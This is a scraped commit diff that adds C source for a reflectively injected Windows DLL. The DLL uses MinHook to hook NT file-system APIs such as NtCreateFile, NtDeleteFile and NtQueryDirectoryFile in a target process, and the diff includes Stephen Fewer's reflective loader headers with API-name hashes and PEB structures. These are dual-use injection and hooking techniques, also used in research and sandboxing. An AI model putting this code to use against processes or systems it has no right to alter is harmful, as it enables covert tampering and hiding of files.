||||
// Hook all the NT APIs
|
||||
FARPROC pNtCreateFile = GetProcAddress(ntdll, "NtCreateFile");
|
||||
if (pNtCreateFile) {
|
||||
MH_CreateHook(pNtCreateFile, &HookedNtCreateFile, (LPVOID*)&OriginalNtCreateFile);
|
||||
MH_EnableHook(pNtCreateFile);
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtCreateFile");
|
||||
}
|
||||
|
||||
FARPROC pNtOpenFile = GetProcAddress(ntdll, "NtOpenFile");
|
||||
if (pNtOpenFile) {
|
||||
MH_CreateHook(pNtOpenFile, &HookedNtOpenFile, (LPVOID*)&OriginalNtOpenFile);
|
||||
MH_EnableHook(pNtOpenFile);
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtOpenFile");
|
||||
}
|
||||
|
||||
FARPROC pNtDeleteFile = GetProcAddress(ntdll, "NtDeleteFile");
|
||||
if (pNtDeleteFile) {
|
||||
MH_CreateHook(pNtDeleteFile, &HookedNtDeleteFile, (LPVOID*)&OriginalNtDeleteFile);
|
||||
MH_EnableHook(pNtDeleteFile);
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtDeleteFile");
|
||||
}
|
||||
|
||||
FARPROC pNtSetInformationFile = GetProcAddress(ntdll, "NtSetInformationFile");
|
||||
if (pNtSetInformationFile) {
|
||||
MH_CreateHook(pNtSetInformationFile, &HookedNtSetInformationFile, (LPVOID*)&OriginalNtSetInformationFile);
|
||||
MH_EnableHook(pNtSetInformationFile);
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtSetInformationFile");
|
||||
}
|
||||
|
||||
FARPROC pNtQueryAttributesFile = GetProcAddress(ntdll, "NtQueryAttributesFile");
|
||||
if (pNtQueryAttributesFile) {
|
||||
MH_CreateHook(pNtQueryAttributesFile, &HookedNtQueryAttributesFile, (LPVOID*)&OriginalNtQueryAttributesFile);
|
||||
MH_EnableHook(pNtQueryAttributesFile);
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryAttributesFile");
|
||||
}
|
||||
|
||||
FARPROC pNtQueryFullAttributesFile = GetProcAddress(ntdll, "NtQueryFullAttributesFile");
|
||||
if (pNtQueryFullAttributesFile) {
|
||||
MH_CreateHook(pNtQueryFullAttributesFile, &HookedNtQueryFullAttributesFile, (LPVOID*)&OriginalNtQueryFullAttributesFile);
|
||||
MH_EnableHook(pNtQueryFullAttributesFile);
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryFullAttributesFile");
|
||||
}
|
||||
|
||||
FARPROC pNtQueryDirectoryFile = GetProcAddress(ntdll, "NtQueryDirectoryFile");
|
||||
if (pNtQueryDirectoryFile) {
|
||||
MH_CreateHook(pNtQueryDirectoryFile, &HookedNtQueryDirectoryFile, (LPVOID*)&OriginalNtQueryDirectoryFile);
|
||||
MH_EnableHook(pNtQueryDirectoryFile);
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryDirectoryFile");
|
||||
}
|
||||
|
||||
FARPROC pNtQueryDirectoryFileEx = GetProcAddress(ntdll, "NtQueryDirectoryFileEx");
|
||||
if (pNtQueryDirectoryFileEx) {
|
||||
MH_CreateHook(pNtQueryDirectoryFileEx, &HookedNtQueryDirectoryFileEx, (LPVOID*)&OriginalNtQueryDirectoryFileEx);
|
||||
MH_EnableHook(pNtQueryDirectoryFileEx);
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryDirectoryFileEx");
|
||||
}
|
||||
|
||||
g_HooksInitialized = TRUE;
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
LogDebugA("=== All hooks installed successfully ===");
|
||||
}
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER) {
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
char excMsg[256];
|
||||
sprintf_s(excMsg, 256, "CRITICAL EXCEPTION: Hook installation failed! Code: 0x%X", GetExceptionCode());
|
||||
LogDebugA(excMsg);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void RemoveNtApiHooks() {
|
||||
__try {
|
||||
LogDebugA("=== Removing hooks ===");
|
||||
g_HooksInitialized = FALSE;
|
||||
MH_DisableHook(MH_ALL_HOOKS);
|
||||
MH_Uninitialize();
|
||||
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
CloseHandle(g_LogFile);
|
||||
g_LogFile = INVALID_HANDLE_VALUE;
|
||||
}
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER) {
|
||||
// Fail silently on cleanup
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@@ -0,0 +1,23 @@
|
||||
//===============================================================================================//
|
||||
// NT API Hooking Header
|
||||
//===============================================================================================//
|
||||
#ifndef _NTAPIHOOKS_H
|
||||
#define _NTAPIHOOKS_H
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
// Initialize all NT API hooks
|
||||
void InstallNtApiHooks(LPVOID lpParameter);
|
||||
|
||||
// Remove all NT API hooks
|
||||
void RemoveNtApiHooks();
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // _NTAPIHOOKS_H
|
||||
@@ -0,0 +1,12 @@
|
||||
//===============================================================================================//
|
||||
// NT API Hook Configuration
|
||||
// Edit this file and rebuild to change settings
|
||||
//===============================================================================================//
|
||||
#ifndef _NTAPIHOOKS_CONFIG_H
|
||||
#define _NTAPIHOOKS_CONFIG_H
|
||||
|
||||
// Set to 1 to enable detailed logging, 0 to disable
|
||||
// Log file will be created at %TEMP%\rdi_hooks.log
|
||||
#define ENABLE_DEBUG_LOGGING 0
|
||||
|
||||
#endif // _NTAPIHOOKS_CONFIG_H
|
||||
@@ -0,0 +1,51 @@
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
|
||||
// we declare some common stuff in here...
|
||||
|
||||
#define DLL_QUERY_HMODULE 6
|
||||
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
#define DEREF_64( name )*(DWORD64 *)(name)
|
||||
#define DEREF_32( name )*(DWORD *)(name)
|
||||
#define DEREF_16( name )*(WORD *)(name)
|
||||
#define DEREF_8( name )*(BYTE *)(name)
|
||||
|
||||
typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID);
|
||||
typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
#define DLLEXPORT __declspec( dllexport )
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
@@ -0,0 +1,43 @@
|
||||
//===============================================================================================//
|
||||
// This is a stub for the actuall functionality of the DLL.
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveLoader.h"
|
||||
#include "NtApiHooks.h"
|
||||
|
||||
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
|
||||
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
|
||||
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
|
||||
|
||||
// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
|
||||
extern HINSTANCE hAppInstance;
|
||||
|
||||
// Store the parameter passed to ReflectiveLoader
|
||||
extern LPVOID g_lpReflectiveParameter;
|
||||
|
||||
//===============================================================================================//
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
if (lpReserved != NULL)
|
||||
*(HMODULE*)lpReserved = hAppInstance;
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
DisableThreadLibraryCalls(hinstDLL);
|
||||
|
||||
// Install NT API hooks with the parameter passed from the injector
|
||||
InstallNtApiHooks(g_lpReflectiveParameter);
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
// Remove hooks on detach
|
||||
RemoveNtApiHooks();
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
||||
@@ -0,0 +1,203 @@
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <Winsock2.h>
|
||||
#include <intrin.h>
|
||||
|
||||
#include "ReflectiveDLLInjection.h"
|
||||
|
||||
typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
|
||||
typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR);
|
||||
typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
|
||||
typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
|
||||
|
||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||
#define NTDLLDLL_HASH 0x3CFA685D
|
||||
|
||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
|
||||
|
||||
#define IMAGE_REL_BASED_ARM_MOV32A 5
|
||||
#define IMAGE_REL_BASED_ARM_MOV32T 7
|
||||
|
||||
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
|
||||
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
|
||||
#define ARM_MOVW 0xF2400000
|
||||
#define ARM_MOVT 0xF2C00000
|
||||
|
||||
#define HASH_KEY 13
|
||||
//===============================================================================================//
|
||||
#pragma intrinsic( _rotr )
|
||||
|
||||
__forceinline DWORD ror(DWORD d)
|
||||
{
|
||||
return _rotr(d, HASH_KEY);
|
||||
}
|
||||
|
||||
__forceinline DWORD hash(char* c)
|
||||
{
|
||||
register DWORD h = 0;
|
||||
do
|
||||
{
|
||||
h = ror(h);
|
||||
h += *c;
|
||||
} while (*++c);
|
||||
|
||||
return h;
|
||||
}
|
||||
//===============================================================================================//
|
||||
typedef struct _UNICODE_STR
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR pBuffer;
|
||||
} UNICODE_STR, * PUNICODE_STR;
|
||||
|
||||
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
||||
//__declspec( align(8) )
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY
|
||||
{
|
||||
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STR FullDllName;
|
||||
UNICODE_STR BaseDllName;
|
||||
ULONG Flags;
|
||||
SHORT LoadCount;
|
||||
SHORT TlsIndex;
|
||||
LIST_ENTRY HashTableEntry;
|
||||
ULONG TimeDateStamp;
|
||||
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
||||
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
|
||||
{
|
||||
DWORD dwLength;
|
||||
DWORD dwInitialized;
|
||||
LPVOID lpSsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
LPVOID lpEntryInProgress;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
||||
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
|
||||
{
|
||||
struct _PEB_FREE_BLOCK* pNext;
|
||||
DWORD dwSize;
|
||||
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
|
||||
|
||||
// struct _PEB is defined in Winternl.h but it is incomplete
|
||||
// WinDbg> dt -v ntdll!_PEB
|
||||
typedef struct __PEB // 65 elements, 0x210 bytes
|
||||
{
|
||||
BYTE bInheritedAddressSpace;
|
||||
BYTE bReadImageFileExecOptions;
|
||||
BYTE bBeingDebugged;
|
||||
BYTE bSpareBool;
|
||||
LPVOID lpMutant;
|
||||
LPVOID lpImageBaseAddress;
|
||||
PPEB_LDR_DATA pLdr;
|
||||
LPVOID lpProcessParameters;
|
||||
LPVOID lpSubSystemData;
|
||||
LPVOID lpProcessHeap;
|
||||
PRTL_CRITICAL_SECTION pFastPebLock;
|
||||
LPVOID lpFastPebLockRoutine;
|
||||
LPVOID lpFastPebUnlockRoutine;
|
||||
DWORD dwEnvironmentUpdateCount;
|
||||
LPVOID lpKernelCallbackTable;
|
||||
DWORD dwSystemReserved;
|
||||
DWORD dwAtlThunkSListPtr32;
|
||||
PPEB_FREE_BLOCK pFreeList;
|
||||
DWORD dwTlsExpansionCounter;
|
||||
LPVOID lpTlsBitmap;
|
||||
DWORD dwTlsBitmapBits[2];
|
||||
LPVOID lpReadOnlySharedMemoryBase;
|
||||
LPVOID lpReadOnlySharedMemoryHeap;
|
||||
LPVOID lpReadOnlyStaticServerData;
|
||||
LPVOID lpAnsiCodePageData;
|
||||
LPVOID lpOemCodePageData;
|
||||
LPVOID lpUnicodeCaseTableData;
|
||||
DWORD dwNumberOfProcessors;
|
||||
DWORD dwNtGlobalFlag;
|
||||
LARGE_INTEGER liCriticalSectionTimeout;
|
||||
DWORD dwHeapSegmentReserve;
|
||||
DWORD dwHeapSegmentCommit;
|
||||
DWORD dwHeapDeCommitTotalFreeThreshold;
|
||||
DWORD dwHeapDeCommitFreeBlockThreshold;
|
||||
DWORD dwNumberOfHeaps;
|
||||
DWORD dwMaximumNumberOfHeaps;
|
||||
LPVOID lpProcessHeaps;
|
||||
LPVOID lpGdiSharedHandleTable;
|
||||
LPVOID lpProcessStarterHelper;
|
||||
DWORD dwGdiDCAttributeList;
|
||||
LPVOID lpLoaderLock;
|
||||
DWORD dwOSMajorVersion;
|
||||
DWORD dwOSMinorVersion;
|
||||
WORD wOSBuildNumber;
|
||||
WORD wOSCSDVersion;
|
||||
DWORD dwOSPlatformId;
|
||||
DWORD dwImageSubsystem;
|
||||
DWORD dwImageSubsystemMajorVersion;
|
||||
DWORD dwImageSubsystemMinorVersion;
|
||||
DWORD dwImageProcessAffinityMask;
|
||||
DWORD dwGdiHandleBuffer[34];
|
||||
LPVOID lpPostProcessInitRoutine;
|
||||
LPVOID lpTlsExpansionBitmap;
|
||||
DWORD dwTlsExpansionBitmapBits[32];
|
||||
DWORD dwSessionId;
|
||||
ULARGE_INTEGER liAppCompatFlags;
|
||||
ULARGE_INTEGER liAppCompatFlagsUser;
|
||||
LPVOID lppShimData;
|
||||
LPVOID lpAppCompatInfo;
|
||||
UNICODE_STR usCSDVersion;
|
||||
LPVOID lpActivationContextData;
|
||||
LPVOID lpProcessAssemblyStorageMap;
|
||||
LPVOID lpSystemDefaultActivationContextData;
|
||||
LPVOID lpSystemAssemblyStorageMap;
|
||||
DWORD dwMinimumStackCommit;
|
||||
} _PEB, * _PPEB;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
WORD offset : 12;
|
||||
WORD type : 4;
|
||||
} IMAGE_RELOC, * PIMAGE_RELOC;
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
Binary file not shown.
Reference in New Issue
Block a user